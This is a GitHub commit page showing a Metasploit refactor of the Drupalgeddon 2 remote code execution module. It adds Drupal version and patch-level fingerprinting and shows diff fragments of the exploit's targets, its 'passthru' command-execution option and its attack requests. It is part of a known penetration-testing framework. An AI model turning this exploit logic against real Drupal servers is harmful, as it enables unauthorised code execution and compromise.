Skip to content

Commit

Permalink
Fix rapid7#9876, second round of Drupalgeddon 2 updates
Browse files Browse the repository at this point in the history
Thanks to a reviewer for noticing my drupal_unpatched? method was
tri-state because of an unrefactored return. Oops! :)
  • Loading branch information
wvu committed May 3, 2018
1 parent b7f5e6e commit 6cab482
Show file tree
Hide file tree
Showing 3 changed files with 99 additions and 84 deletions.
74 changes: 74 additions & 0 deletions lib/msf/core/exploit/http/drupal.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
module Msf
module Exploit::Remote::HTTP::Drupal

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super

register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/'])
])
end

def setup
super

# Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)
# XXX: Naughty datastore modification instead of send_request_cgi!
datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')
end

def drupal_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

return unless res && res.code == 200

# Check for an X-Generator header
version = version_match(res.headers['X-Generator'])

return version if version

# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)

return unless generator

version_match(generator.value)
end

def drupal_changelog(version)
return unless version && Gem::Version.correct?(version)

uri = Gem::Version.new(version) < Gem::Version.new('8') ?
normalize_uri(target_uri.path, 'CHANGELOG.txt') :
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')

res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)

return unless res && res.code == 200

res.body
end

def version_match(string)
return unless string

# Perl devs love me; Ruby devs hate me
string =~ /^Drupal (\d+)/

return unless $1 && Gem::Version.correct?($1)

Gem::Version.new($1)
end

end
end
1 change: 1 addition & 0 deletions lib/msf/core/exploit/mixins.rb
Original file line number Diff line number Diff line change
Expand Up @@ -114,6 +114,7 @@
# Custom HTTP Modules
require 'msf/core/exploit/http/wordpress'
require 'msf/core/exploit/http/joomla'
require 'msf/core/exploit/http/drupal'
require 'msf/core/exploit/http/typo3'
require 'msf/core/exploit/http/jboss'

Expand Down
108 changes: 24 additions & 84 deletions modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
Expand Down Expand Up @@ -44,7 +44,6 @@ def initialize(info = {})
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
Expand Down Expand Up @@ -75,25 +74,25 @@ def initialize(info = {})
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
],
#
Expand All @@ -102,25 +101,25 @@ def initialize(info = {})
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
]
],
Expand All @@ -129,7 +128,6 @@ def initialize(info = {})
))

register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
Expand All @@ -143,17 +141,25 @@ def initialize(info = {})
def check
checkcode = CheckCode::Safe

if drupal_version
@version = target['Version'] || drupal_version

if @version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end

if drupal_unpatched?
changelog = drupal_changelog(@version)

if changelog && changelog.include?('SA-CORE-2018-002')
print_warning('Drupal appears patched in CHANGELOG.txt')
elsif changelog
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
else
print_error('Could not determine Drupal patch level')
end

token = random_crap
Expand All @@ -167,7 +173,7 @@ def check
end

def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
if check == CheckCode::Safe && datastore['ForceExploit'] == false
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

Expand Down Expand Up @@ -282,9 +288,9 @@ def execute_command(cmd, opts = {})

res =
case @version.to_s
when '7.x'
when '7'
exploit_drupal7(func, cmd)
when '8.x'
when '8'
exploit_drupal8(func, cmd)
end

Expand All @@ -300,72 +306,6 @@ def execute_command(cmd, opts = {})
res
end

def drupal_version
if target['Version']
@version = target['Version']
return @version
end

res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)

return unless res && res.code == 200

# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end

return @version if @version

# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)

return unless generator

@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end

def drupal_unpatched?
unpatched = true

# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end

res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)

return unless res && res.code == 200

if res.body.include?('SA-CORE-2018-002')
unpatched = false
end

unpatched
end

def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
Expand All @@ -381,7 +321,7 @@ def exploit_drupal7(func, code)

res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
Expand All @@ -404,7 +344,7 @@ def exploit_drupal7(func, code)

send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
Expand Down

0 comments on commit 6cab482

Please sign in to comment.